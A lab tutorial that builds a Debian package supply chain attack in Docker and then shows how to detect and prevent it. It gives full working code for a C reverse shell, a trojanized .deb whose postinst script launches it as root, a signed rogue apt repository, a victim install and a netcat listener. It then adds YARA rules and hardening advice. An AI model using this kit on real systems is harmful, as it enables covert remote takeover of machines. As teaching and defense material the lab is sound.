Debian Package Supply Chain Attack Lab

Debian Package Supply Chain Attack Lab

Software supply chain attacks targeting package repositories are one of the most effective vectors for compromising infrastructure at scale. A single trojanized package installed via apt-get runs with full user privileges and can execute arbitrary code — reverse shells, cryptominers, credential stealers — before the admin even knows something is wrong.

This tutorial builds a complete supply chain attack lab using Docker:

  1. Create a trojanized Debian package containing a reverse shell payload
  2. Set up a GPG-signed apt repository served by nginx
  3. Simulate a victim client that installs the malicious package
  4. Detect the compromise with YARA rules and network analysis

Everything runs in containers — no VMs, no host pollution. This is an educational lab for understanding how these attacks work so you can defend against them.


How Debian Package Supply Chain Attacks Work

When you run apt-get install <package>, the following happens:

  1. apt fetches the Release file from the repo and verifies its GPG signature
  2. apt downloads the package .deb file from the repo's pool
  3. dpkg unpacks the package and runs maintainer scripts (preinst, postinst, prerm, postrm)
  4. The binary is installed to the filesystem

The attack surface is in step 3 — maintainer scripts execute as root during installation. A postinst script can run anything: download a second-stage payload, establish persistence, exfiltrate data. The package binary itself can also be the payload.

Real-world examples:

  • 2017-2018: 17 backdoored Docker images on Docker Hub under the name "docker123321" deployed cryptominers and reverse shells to thousands of servers
  • 2021: The ua-parser-js npm package was compromised to install cryptominers on Linux and credential stealers on Windows
  • 2024: The xz-utils backdoor (CVE-2024-3094) injected code into the build process targeting sshd authentication

Prerequisites

  • Docker and Docker Compose installed
  • Basic understanding of Debian packaging
  • A terminal on your attacker machine (for the reverse shell listener)

Create a working directory for the lab:

mkdir -p ~/deb-supply-chain-lab && cd ~/deb-supply-chain-lab

Step 1: The Payload — Reverse Shell in C

The payload is a minimal C program that opens a TCP connection back to the attacker and redirects stdin, stdout, and stderr to the socket, giving the attacker an interactive shell.

Create hello.c:

/* Reverse shell payload for supply chain demo
 * Credits: http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/
 *
 * IMPORTANT: Replace REMOTE_ADDR and REMOTE_PORT with your listener IP/port
 */
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define REMOTE_ADDR "10.0.0.1"
#define REMOTE_PORT 4444

int main(int argc, char *argv[])
{
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    execve("/bin/sh", 0, 0);
    return 0;
}

What makes this dangerous:

  • The binary name is hello — innocuous, blends in with legitimate packages
  • The connect() + dup2() + execve() pattern is a classic reverse shell that most basic AV won't flag in a compiled binary
  • The postinst script (added in the next step) executes the binary automatically at install time — the victim never has to run it manually

Replace 10.0.0.1 with your attacker machine's IP and 4444 with your listener port.


Step 2: Build the Trojanized .deb Package

The Dockerfile compiles the C payload, creates the Debian package directory structure, and builds the .deb file.

Create Dockerfile-builder:

FROM debian:latest

# Install build and packaging tools
RUN apt-get update && apt-get install -y \
    build-essential \
    dpkg-dev \
    fakeroot \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /build

# Copy the C source file into the container
COPY hello.c /build/

# Compile the payload
RUN gcc -o hello hello.c

# Create Debian package directory structure
RUN mkdir -p /build/package1/DEBIAN \
             /build/package1/usr/local/bin

# Package metadata (control file)
RUN printf 'Package: hello-world\n\
Version: 1.0\n\
Section: base\n\
Priority: optional\n\
Architecture: amd64\n\
Maintainer: Trusted Maintainer <admin@domaina.com>\n\
Description: A simple hello world utility\n' \
    > /build/package1/DEBIAN/control

# postinst script — this is the trigger
# Runs automatically when the package is installed via apt/dpkg
RUN printf '#!/bin/sh\n/usr/local/bin/hello &\n' \
    > /build/package1/DEBIAN/postinst && \
    chmod 755 /build/package1/DEBIAN/postinst

# Place the compiled binary in the package
RUN mv hello /build/package1/usr/local/bin/

# Build the .deb when the container runs
CMD ["dpkg-deb", "--build", "/build/package1", "/output/hello-world_1.0_amd64.deb"]

Understanding the Debian Package Structure

package1/
├── DEBIAN/
│   ├── control       # Package metadata (name, version, description)
│   └── postinst      # Script executed AFTER installation (the attack vector)
└── usr/
    └── local/
        └── bin/
            └── hello # The compiled reverse shell binary

control — This is what apt shows when you inspect the package. A convincing description helps the package blend in.

postinst — This script runs as root immediately after dpkg unpacks the package. The & backgrounds the reverse shell so the installation appears to complete normally. The victim sees no error, no hang — just a clean install.

Build the Package

# Build the builder image
docker build -t hello-world-builder:0.1 -f Dockerfile-builder .

# Generate the .deb file (output to host /tmp)
mkdir -p output
docker run --rm -v "$(pwd)/output:/output" hello-world-builder:0.1

Verify the package was created:

ls -la output/hello-world_1.0_amd64.deb

Test with dpkg (Local Install)

Before setting up the repo, verify the package installs correctly:

docker run --rm -v "$(pwd)/output:/output" debian:latest \
    /bin/sh -c 'dpkg -i /output/hello-world_1.0_amd64.deb && \
    dpkg -l | grep hello-world'

You should see hello-world listed as installed. The reverse shell will fail to connect (no listener), but the package installs cleanly.


Step 3: GPG Key Generation for Package Signing

Legitimate apt repositories sign their packages with GPG keys. Without a valid signature, apt will warn or refuse to install. We create our own key pair to make our malicious repo look legitimate.

# Generate a GPG key pair (non-interactive for lab use)
cat > gpg-batch.conf << 'EOF'
%no-protection
Key-Type: RSA
Key-Length: 2048
Subkey-Type: RSA
Subkey-Length: 2048
Name-Real: Trusted Repository
Name-Email: repo@domaina.com
Expire-Date: 0
%commit
EOF

gpg --batch --gen-key gpg-batch.conf

Export the keys:

# Get the key ID
KEY_ID=$(gpg --list-secret-keys --keyid-format LONG 2>/dev/null \
    | grep -A1 "sec" | tail -1 | awk '{print $1}')

echo "Key ID: $KEY_ID"

# Export public key (distributed to clients)
gpg --export -a "$KEY_ID" > public.key

# Export private key (used by reprepro to sign packages)
gpg --export-secret-key -a "$KEY_ID" > private.key

In a real attack, the attacker either: - Compromises the legitimate maintainer's GPG key - Sets up a lookalike repository with their own key and tricks victims into adding it - Targets repos that use [trusted=yes] (skips signature verification entirely)


Step 4: Create the reprepro Distribution Config

reprepro manages the repository structure that apt expects. Create the distributions configuration:

# Get the short key ID for SignWith
SHORT_KEY=$(gpg --list-secret-keys --keyid-format SHORT 2>/dev/null \
    | grep "sec" | head -1 | awk -F'/' '{print $2}' | awk '{print $1}')

cat > distributions << EOF
Origin: TrustedSource
Label: TrustedRepo
Codename: stable
Architectures: i386 amd64 source
Components: main
Description: Trusted software repository
SignWith: ${SHORT_KEY}
EOF

This tells reprepro: - Repository codename is stable (matches what clients add to sources.list) - Accepts amd64 and i386 packages - Signs the Release file with our GPG key


Step 5: Build the Apt Repository Server

This Dockerfile creates an nginx-based apt repository server that hosts the trojanized package with proper GPG signing.

Create Dockerfile-repo:

FROM debian:bookworm-slim

# Install nginx and reprepro
RUN apt-get update && \
    apt-get install -y nginx reprepro gnupg && \
    rm -rf /var/lib/apt/lists/*

# Set up reprepro directory structure
RUN mkdir -p /var/www/html/debian/conf \
             /var/www/html/debian/db \
             /var/www/html/debian/dists \
             /var/www/html/debian/pool

# Copy reprepro config
COPY distributions /var/www/html/debian/conf/

# Copy GPG public key (clients will download this)
COPY public.key /var/www/html/public.key

# Copy the trojanized .deb package
COPY output/hello-world_1.0_amd64.deb /var/www/html/debian/pool/

# Import GPG private key for signing
COPY private.key /tmp/private.key
RUN gpg --batch --import /tmp/private.key && rm /tmp/private.key

# Configure nginx to serve the repo with directory listing
RUN printf 'server {\n\
    listen 80;\n\
    server_name localhost;\n\
    location / {\n\
        root /var/www/html;\n\
        autoindex on;\n\
    }\n\
}\n' > /etc/nginx/sites-available/default

# Initialize the repository (signs the package with our GPG key)
RUN reprepro -b /var/www/html/debian includedeb stable \
    /var/www/html/debian/pool/hello-world_1.0_amd64.deb

# Expose port 80
EXPOSE 80

# Start nginx in the foreground
CMD ["nginx", "-g", "daemon off;"]

Build and Start the Repo Server

# Build the repo image
docker build -t apt-repo:0.1 -f Dockerfile-repo .

# Start the repository server
docker run --name apt-repo -d -p 8080:80 apt-repo:0.1

Verify the repo is serving:

# Check the repo root
curl -s http://localhost:8080/ | head -20

# Check the GPG public key is available
curl -s http://localhost:8080/public.key | head -5

# Check the package pool
curl -s http://localhost:8080/debian/dists/stable/main/binary-amd64/Packages

You should see the hello-world package listed with its metadata.


Step 6: Simulate the Victim — Client Installation

This is where the attack completes. A victim machine adds our repository, trusts our GPG key, and installs the trojanized package.

Start Your Listener First

On your attacker machine, start a netcat listener before the client installs the package:

nc -lvnp 4444

Run the Client Container

docker run --rm --link apt-repo:apt-repo debian:latest /bin/bash -c '
    # Install curl to fetch the GPG key
    apt-get update -qq && apt-get install -y -qq curl > /dev/null 2>&1

    # Download and trust the repos GPG key
    curl -fsSL http://apt-repo:80/public.key | apt-key add -

    # Add the malicious repo to sources.list
    echo "deb [trusted=yes] http://apt-repo/debian/ stable main" \
        >> /etc/apt/sources.list

    # Update package lists from all repos (including ours)
    apt-get update -qq

    # Install the trojanized package
    # postinst fires the reverse shell automatically
    apt-get install -y hello-world
'

What happens during installation:

  1. apt-get update fetches our repo's Release and Packages files
  2. apt-get install hello-world downloads the .deb from our nginx server
  3. dpkg unpacks the package to /usr/local/bin/hello
  4. dpkg runs postinst which executes /usr/local/bin/hello &
  5. The binary connects back to your listener — you now have a shell inside the victim container

Check your netcat listener — you should have an active reverse shell.


Step 7: Using Docker Compose for the Full Lab

For a repeatable setup, use Docker Compose to orchestrate all components.

Create docker-compose.yml:

services:
  # Apt repository server
  apt-repo:
    build:
      context: .
      dockerfile: Dockerfile-repo
    container_name: apt-repo
    ports:
      - "8080:80"
    networks:
      - supply-chain-lab

  # Victim client (runs once, installs the package)
  victim:
    image: debian:latest
    depends_on:
      - apt-repo
    networks:
      - supply-chain-lab
    command: >
      /bin/bash -c '
        sleep 2 &&
        apt-get update -qq &&
        apt-get install -y -qq curl > /dev/null 2>&1 &&
        curl -fsSL http://apt-repo:80/public.key | apt-key add - &&
        echo "deb [trusted=yes] http://apt-repo/debian/ stable main"
          >> /etc/apt/sources.list &&
        apt-get update -qq &&
        apt-get install -y hello-world
      '

networks:
  supply-chain-lab:
    driver: bridge

Run the full lab:

# Start your listener first
nc -lvnp 4444 &

# Launch the lab
docker compose up --build

Clean up:

docker compose down --remove-orphans
docker rmi apt-repo:0.1 hello-world-builder:0.1

Step 8: Detecting the Compromise

YARA Rule — Detect Reverse Shell Pattern

Create detect_revshell.yar:

rule ReverseShell_Socket_Dup2_Execve
{
    meta:
        description = "Detects reverse shell pattern: socket + dup2 + execve"
        author = "Supply Chain Lab"
        severity = "critical"

    strings:
        $socket = "socket" ascii
        $connect = "connect" ascii
        $dup2 = "dup2" ascii
        $execve = "execve" ascii
        $bin_sh = "/bin/sh" ascii

    condition:
        uint32(0) == 0x464C457F and  // ELF magic bytes
        all of them
}

rule Suspicious_Postinst
{
    meta:
        description = "Detects postinst scripts that execute binaries from /usr/local/bin"
        severity = "high"

    strings:
        $shebang = "#!/bin/sh" ascii
        $usr_local = "/usr/local/bin/" ascii
        $background = "&" ascii

    condition:
        $shebang at 0 and $usr_local and $background
}

Scan the package:

# Install YARA
sudo apt-get install -y yara

# Extract and scan the .deb
mkdir -p /tmp/deb-scan
dpkg-deb -x output/hello-world_1.0_amd64.deb /tmp/deb-scan/
dpkg-deb -e output/hello-world_1.0_amd64.deb /tmp/deb-scan/DEBIAN/

# Scan all extracted files
yara detect_revshell.yar /tmp/deb-scan/ -r

Expected output:

ReverseShell_Socket_Dup2_Execve /tmp/deb-scan/usr/local/bin/hello
Suspicious_Postinst /tmp/deb-scan/DEBIAN/postinst

Network Analysis — Detect the Callback

If you have tcpdump or Falco running on the host:

# Capture outbound connections from the container
tcpdump -i docker0 -n 'tcp[tcpflags] & tcp-syn != 0' \
    and not src net 172.17.0.0/16

# With Falco (if deployed)
# Rule: "Unexpected outbound connection from container"
# Triggers on: connect() to external IP from a container process

Static Analysis — Inspect Before Installing

Always inspect packages before installing from untrusted repos:

# View package metadata
dpkg-deb -I output/hello-world_1.0_amd64.deb

# List files in the package
dpkg-deb -c output/hello-world_1.0_amd64.deb

# Extract and read maintainer scripts
dpkg-deb -e output/hello-world_1.0_amd64.deb /tmp/inspect/
cat /tmp/inspect/postinst

# Check binary with strings
strings /tmp/deb-scan/usr/local/bin/hello | grep -E '(socket|connect|exec|/bin)'

The strings output will reveal the hardcoded IP address and the /bin/sh reference — obvious indicators of a reverse shell.


Defense: How to Protect Against Debian Supply Chain Attacks

1. Never Use [trusted=yes]

The [trusted=yes] flag in sources.list disables GPG signature verification entirely. Any repo added this way can serve arbitrary packages without cryptographic proof of authenticity.

# DANGEROUS — never do this in production
echo "deb [trusted=yes] http://sketchy-repo/debian/ stable main" \
    >> /etc/apt/sources.list

# CORRECT — verify the GPG key fingerprint out-of-band
curl -fsSL https://repo.example.com/pubkey.gpg \
    | gpg --dearmor -o /usr/share/keyrings/example.gpg
echo "deb [signed-by=/usr/share/keyrings/example.gpg] https://repo.example.com/debian/ stable main" \
    >> /etc/apt/sources.list

2. Pin Package Sources

Use apt preferences to prevent untrusted repos from overriding packages from official sources:

cat > /etc/apt/preferences.d/official-only << 'EOF'
Package: *
Pin: origin "deb.debian.org"
Pin-Priority: 900

Package: *
Pin: origin "*"
Pin-Priority: 100
EOF

3. Audit Maintainer Scripts

Before installing any package from a third-party repo, extract and review the maintainer scripts:

apt download <package-name>
dpkg-deb -e <package>.deb /tmp/audit/
cat /tmp/audit/postinst
cat /tmp/audit/preinst

4. Use Package Integrity Monitoring

  • debsums — verifies installed package file checksums against the package database
  • AIDE/OSSEC — filesystem integrity monitoring detects unexpected binary changes
  • Falco — runtime detection of suspicious process execution from package install paths
# Check all installed packages for modified files
sudo debsums -c

# Monitor for unexpected executions from /usr/local/bin
# Falco rule: detect execve from postinst context

5. Container-Specific Defenses

When building container images with apt-get install:

  • Use --no-install-recommends to minimize attack surface
  • Pin exact package versions in Dockerfiles
  • Scan built images with Trivy, Grype, or Syft before pushing
  • Use multi-stage builds — install in a build stage, copy only needed binaries to the final image

Lab Cleanup

# Stop and remove all lab containers
docker compose down --remove-orphans 2>/dev/null
docker stop apt-repo 2>/dev/null
docker rm apt-repo 2>/dev/null

# Remove images
docker rmi apt-repo:0.1 hello-world-builder:0.1 2>/dev/null

# Remove generated files
rm -rf output/ /tmp/deb-scan/ /tmp/inspect/

# Remove GPG keys (optional)
gpg --delete-secret-and-public-key "$(gpg --list-keys --keyid-format LONG \
    | grep -A1 pub | tail -1 | awk '{print $1}')" 2>/dev/null

Next Steps

  • Extend the YARA rules to detect other payload patterns (cryptominers, data exfiltration)
  • Add Falco runtime rules to detect reverse shell execution from package postinst scripts
  • Build a CI pipeline that scans .deb packages before publishing to your internal repo
  • Try the attack with signed packages — compromise the GPG key instead of using [trusted=yes]
  • Cross-reference with the Docker & YARA Malware Scanning tutorial for integrating YARA scanning into your SDLC